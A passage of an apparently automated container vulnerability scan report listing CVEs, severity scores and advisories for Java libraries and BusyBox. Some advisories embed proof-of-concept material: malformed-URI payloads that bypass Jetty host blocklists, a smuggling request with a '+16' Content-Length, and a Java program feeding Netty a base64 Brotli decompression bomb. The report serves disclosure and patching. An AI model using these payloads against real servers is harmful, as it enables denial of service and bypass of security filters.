EPSS Percentile87th percentile
+ +
Description +
+ +Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. + +
+
+ +medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 2 low: 0 org.apache.commons/commons-configuration2 2.8.0 (maven) + +pkg:maven/org.apache.commons/commons-configuration2@2.8.0
+medium 6.9: CVE--2024--29133 Out-of-bounds Write + + + + + + + + +
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
EPSS Score0.680%
EPSS Percentile71st percentile
+ +
Description +
+ +This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' calling 'ListDelimiterHandler.flatten(Object, int)' with a cyclical object tree. +Users are recommended to upgrade to version 2.10.1, which fixes the issue. + +
+
+ +medium 6.5: CVE--2024--29131 Out-of-bounds Write + + + + + + + + +
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
EPSS Score0.203%
EPSS Percentile42nd percentile
+ +
Description +
+ +This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' when adding a property in 'AbstractListDelimiterHandler.flattenIterator()'. +Users are recommended to upgrade to version 2.10.1, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 0 org.eclipse.jetty/jetty-http 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.51.v20230217
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+ +medium 5.3: CVE--2023--40167 Improper Handling of Length Parameter Inconsistency + + + + + + + + +
Affected range>=9.0.0
<=9.4.51
Fixed version9.4.52
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
+ +
Description +
+ +### Impact + +Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. + +### Workarounds + +There is no workaround as there is no known exploit scenario. + +### Original Report + +[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. + +Payload: + +``` + POST / HTTP/1.1 + Host: a.com + Content-Length: +16 + Connection: close + ​ + 0123456789abcdef +``` + +When sending this payload to Jetty, it can successfully parse and identify the length. + +When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. + +This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 0 io.netty/netty-common 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-common@4.1.96.Final
+medium 5.5: CVE--2025--25193 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.1.118.Final
Fixed version4.1.118.Final
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.063%
EPSS Percentile20th percentile
+ +
Description +
+ +### Summary +An unsafe reading of environment file could potentially cause a denial of service in Netty. +When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. + +### Details +A similar issue was previously reported in https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv +This issue was fixed, but the fix was incomplete in that null-bytes were not counted against the input limit. + + +### PoC +The PoC is the same as for https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv with the detail that the file should only contain null-bytes; 0x00. +When the null-bytes are encountered by the `InputStreamReader`, it will issue replacement characters in its charset decoding, which will fill up the line-buffer in the `BufferedReader.readLine()`, because the replacement character is not a line-break character. + +### Impact +Impact is the same as https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv + +
+
+ +medium 5.4: CVE--2024--47535 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<=4.1.114.Final
Fixed version4.1.115.Final
CVSS Score5.4
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.198%
EPSS Percentile42nd percentile
+ +
Description +
+ +### Summary + +An unsafe reading of environment file could potentially cause a denial of service in Netty. +When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. + + +### Details + +When the library netty is loaded in a java windows application, the library tries to identify the system environnement in which it is executed. + +At this stage, Netty tries to load both `/etc/os-release` and `/usr/lib/os-release` even though it is in a Windows environment. + +1 + +If netty finds this files, it reads them and loads them into memory. + +By default : + +- The JVM maximum memory size is set to 1 GB, +- A non-privileged user can create a directory at `C:\` and create files within it. + +2 + +3 + +the source code identified : +https://github.com/netty/netty/blob/4.1/common/src/main/java/io/netty/util/internal/PlatformDependent.java + +Despite the implementation of the function `normalizeOs()` the source code not verify the OS before reading `C:\etc\os-release` and `C:\usr\lib\os-release`. + +### PoC + +Create a file larger than 1 GB of data in `C:\etc\os-release` or `C:\usr\lib\os-release` on a Windows environnement and start your Netty application. + +To observe what the application does with the file, the security analyst used "Process Monitor" from the "Windows SysInternals" suite. (https://learn.microsoft.com/en-us/sysinternals/) + +``` +cd C:\etc +fsutil file createnew os-release 3000000000 +``` + +4 + +5 + +The source code used is the Netty website code example : [Echo ‐ the very basic client and server](https://netty.io/4.1/xref/io/netty/example/echo/package-summary.html). + +The vulnerability was tested on the 4.1.112.Final version. + +The security analyst tried the same technique for `C:\proc\sys\net\core\somaxconn` with a lot of values to impact Netty but the only things that works is the "larger than 1 GB file" technique. https://github.com/netty/netty/blob/c0fdb8e9f8f256990e902fcfffbbe10754d0f3dd/common/src/main/java/io/netty/util/NetUtil.java#L186 + +### Impact + +By loading the "file larger than 1 GB" into the memory, the Netty library exceeds the JVM memory limit and causes a crash in the java Windows application. + +This behaviour occurs 100% of the time in both Server mode and Client mode if the large file exists. + +Client mode : + +6 + +Server mode : + +7 + +somaxconn : + +8 + +### Severity + +- Attack vector : "Local" because the attacker needs to be on the system where the Netty application is running. +- Attack complexity : "Low" because the attacker only need to create a massive file (regardless of its contents). +- Privileges required : "Low" because the attacker requires a user account to exploit the vulnerability. +- User intercation : "None" because the administrator don't need to accidentally click anywhere to trigger the vulnerability. Furthermore, the exploitation works with defaults windows/AD settings. +- Scope : "Unchanged" because only Netty is affected by the vulnerability. +- Confidentiality : "None" because no data is exposed through exploiting the vulnerability. +- Integrity : "None" because the explotation of the vulnerability does not allow editing, deleting or adding data elsewhere. +- Availability : "High" because the exploitation of this vulnerability crashes the entire java application. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) + +pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
+medium : CVE--2025--60876 + + + + + + +
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.050%
EPSS Percentile16th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2025--46394 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.024%
EPSS Percentile6th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2024--58251 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.021%
EPSS Percentile5th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 27.0-jre (maven) + +pkg:maven/com.google.guava/guava@27.0-jre
+medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 30.1.1-jre (maven) + +pkg:maven/com.google.guava/guava@30.1.1-jre
+medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 io.netty/netty-codec 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec@4.1.96.Final
+medium 6.9: CVE--2025--58057 Improper Handling of Highly Compressed Data (Data Amplification) + + + + + + + + +
Affected range<4.1.125.Final
Fixed version4.1.125.Final
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.070%
EPSS Percentile22nd percentile
+ +
Description +
+ +### Summary + +With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. + +### Details + +`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. + +Tested on 4.1.118, but there were no changes to the decoder since. + +### PoC + +Run this test case with `-Xmx1G`: + +```java +import io.netty.buffer.Unpooled; +import io.netty.channel.embedded.EmbeddedChannel; + +import java.util.Base64; + +public class T { + public static void main(String[] args) { + EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); + channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); + } +} +``` + +Error: + +``` +Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) + at java.base/java.nio.Bits.reserveMemory(Bits.java:178) + at java.base/java.nio.DirectByteBuffer.(DirectByteBuffer.java:121) + at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) + at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) + at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) + at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) + at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) + at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) + at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) + at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) + at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) + at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) + at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) + at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) + at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) + at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) + at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) + at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) + at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) + at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) + at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) + at io.netty.handler.codec.compression.T.main(T.java:11) +``` + +### Impact + +DoS for anyone using `BrotliDecoder` on untrusted input. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) + +pkg:maven/org.apache.commons/commons-lang3@3.12.0
+medium 6.5: CVE--2025--48924 Uncontrolled Recursion + + + + + + + + +
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ +Uncontrolled Recursion vulnerability in Apache Commons Lang. + +This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. + +The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. + +Users are recommended to upgrade to version 3.18.0, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) + +pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
+medium 4.6: CVE--2025--55039 Inadequate Encryption Strength + + + + + + + + +
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.058%
EPSS Percentile18th percentile
+ +
Description +
